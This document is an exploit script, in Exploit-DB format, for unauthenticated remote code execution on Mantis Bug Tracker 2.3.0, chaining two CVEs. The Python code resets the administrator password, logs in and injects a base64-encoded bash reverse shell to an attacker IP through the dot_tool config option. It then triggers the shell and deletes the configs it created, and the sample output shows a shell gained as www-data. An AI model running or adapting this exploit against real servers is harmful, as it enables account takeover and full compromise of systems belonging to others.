Mantis Bug Tracker 2.3.0 Remote Code Execution

# Exploit Title: Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated)
# Date: 2020-09-17
# Vulnerability Discovery: hyp3rlinx, permanull
# Exploit Author: Nikolas Geiselman
# Vendor Homepage: https://mantisbt.org/
# Software Link: https://mantisbt.org/download.php
# Version: 1.3.0/2.3.0
# Tested on: Ubuntu 16.04/19.10/20.04
# CVE : CVE-2017-7615, CVE-2019-15715
# References: 
# https://mantisbt.org/bugs/view.php?id=26091
# https://www.exploit-db.com/exploits/41890

'''

This exploit chains together two CVE's to achieve unauthenticated remote code execution.
The first portion of this exploit resets the Administrator password (CVE-2017-7615) discovered by John Page a.k.a hyp3rlinx, this portion was modified from the original https://www.exploit-db.com/exploits/41890.
The second portion of this exploit takes advantage of a command injection vulnerability (CVE-2019-15715) discovered by 'permanull' (see references). 

Usage:
Set netcat listener on port 4444
Send exploit with "python exploit.py"

Example output:

kali@kali:~/Desktop$ python exploit.py 
Successfully hijacked account!
Successfully logged in!
Triggering reverse shell
Cleaning up
Deleting the dot_tool config.
Deleting the relationship_graph_enable config.
Successfully cleaned up


kali@kali:~/Desktop$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.116.135] from (UNKNOWN) [192.168.116.151] 43978
bash: cannot set terminal process group (835): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html/mantisbt-2.3.0$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

'''

import requests
from urllib import quote_plus
from base64 import b64encode
from re import split


class exploit():
def __init__(self):
self.s = requests.Session()
self.headers = dict() # Initialize the headers dictionary
self.RHOST = "192.168.116.151" # Victim IP
self.RPORT = "80" # Victim port
self.LHOST = "192.168.116.135" # Attacker IP
self.LPORT = "4444" # Attacker Port
self.verify_user_id = "1" # User id for the target account
self.realname = "administrator" # Username to hijack
self.passwd = "password" # New password after account hijack
self.mantisLoc = "/mantisbt-2.3.0" # Location of mantis in URL
self.ReverseShell = "echo " + b64encode("bash -i >& /dev/tcp/" + self.LHOST + "/" + self.LPORT + " 0>&1") + " | base64 -d | /bin/bash" # Reverse shell payload


def reset_login(self):
# Request # 1: Grab the account update token
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/verify.php?id=' + self.verify_user_id + '&confirm_hash='
r = self.s.get(url=url,headers=self.headers)
if r.status_code == 404:
print "ERROR: Unable to access password reset page"
exit()

account_update_token = r.text.split('name="account_update_token" value=')[1].split('"')[1]

# Request # 2: Reset the account password
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/account_update.php'
data = "account_update_token=" + account_update_token + "&password=" + self.passwd + "&verify_user_id=" + self.verify_user_id + "&realname=" + self.realname + "&password_confirm=" + self.passwd
self.headers.update({'Content-Type':'application/x-www-form-urlencoded'})
r = self.s.post(url=url, headers=self.headers, data=data)

if r.status_code == 200:
print "Successfully hijacked account!"


def login(self):
data = "return=index.php&username=" + self.realname + "&password=" + self.passwd + "&secure_session=on"
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/login.php'

r = self.s.post(url=url,headers=self.headers,data=data)
if "login_page.php" not in r.url:
print "Successfully logged in!"


def CreateConfigOption(self, option, value):
# Get adm_config_set_token
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/adm_config_report.php'
r = self.s.get(url=url, headers=self.headers)

adm_config_set_token = r.text.split('name="adm_config_set_token" value=')[1].split('"')[1]

# Create config
data = "adm_config_set_token=" + adm_config_set_token + "&user_id=0&original_user_id=0&project_id=0&original_project_id=0&config_option=" + option + "&original_config_option=&type=0&value=" + quote_plus(value) + "&action=create&config_set=Create+Configuration+Option"
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/adm_config_set.php'
r = self.s.post(url=url, headers=self.headers, data=data)


def TriggerExploit(self):
print "Triggering reverse shell"

url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/workflow_graph_img.php'
try:
r = self.s.get(url=url,headers=self.headers, timeout=3)
except:
pass


def Cleanup(self):
# Delete the config settings that were created to send the reverse shell
print "Cleaning up"

cleaned_up = False

cleanup = requests.Session()

CleanupHeaders = dict()
CleanupHeaders.update({'Content-Type':'application/x-www-form-urlencoded'})

data = "return=index.php&username=" + self.realname + "&password=" + self.passwd + "&secure_session=on"
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/login.php'
r = cleanup.post(url=url,headers=CleanupHeaders,data=data)

ConfigsToCleanup = ['dot_tool','relationship_graph_enable']

for config in ConfigsToCleanup:
# Get adm_config_delete_token
url = "http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_report.php"
r = cleanup.get(url=url, headers=self.headers)
test = split('<!-- Repeated Info Rows -->',r.text)

# First element of the response list is garbage, delete it
del test[0]

cleanup_dict = dict()
for i in range(len(test)):
if config in test[i]:
cleanup_dict.update({'config_option':config})
cleanup_dict.update({'adm_config_delete_token':test[i].split('name="adm_config_delete_token" value=')[1].split('"')[1]})
cleanup_dict.update({'user_id':test[i].split('name="user_id" value=')[1].split('"')[1]})
cleanup_dict.update({'project_id':test[i].split('name="project_id" value=')[1].split('"')[1]})


# Delete the config
print "Deleting the " + config + " config."

url = "http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_delete.php"
data = "adm_config_delete_token=" + cleanup_dict['adm_config_delete_token'] + "&user_id=" + cleanup_dict['user_id'] + "&project_id=" + cleanup_dict['project_id'] + "&config_option=" + cleanup_dict['config_option'] + "&_confirmed=1"
r = cleanup.post(url=url,headers=CleanupHeaders,data=data)

#Confirm if actually cleaned up
r = cleanup.get(url="http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_report.php", headers=CleanupHeaders, verify=False)
if config in r.text:
cleaned_up = False
else:
cleaned_up = True

if cleaned_up == True:
print "Successfully cleaned up"
else:
print "Unable to clean up configs"


exploit = exploit()
exploit.reset_login()
exploit.login()
exploit.CreateConfigOption(option="relationship_graph_enable",value="1")
exploit.CreateConfigOption(option="dot_tool",value= exploit.ReverseShell + ';')
exploit.TriggerExploit()
exploit.Cleanup()

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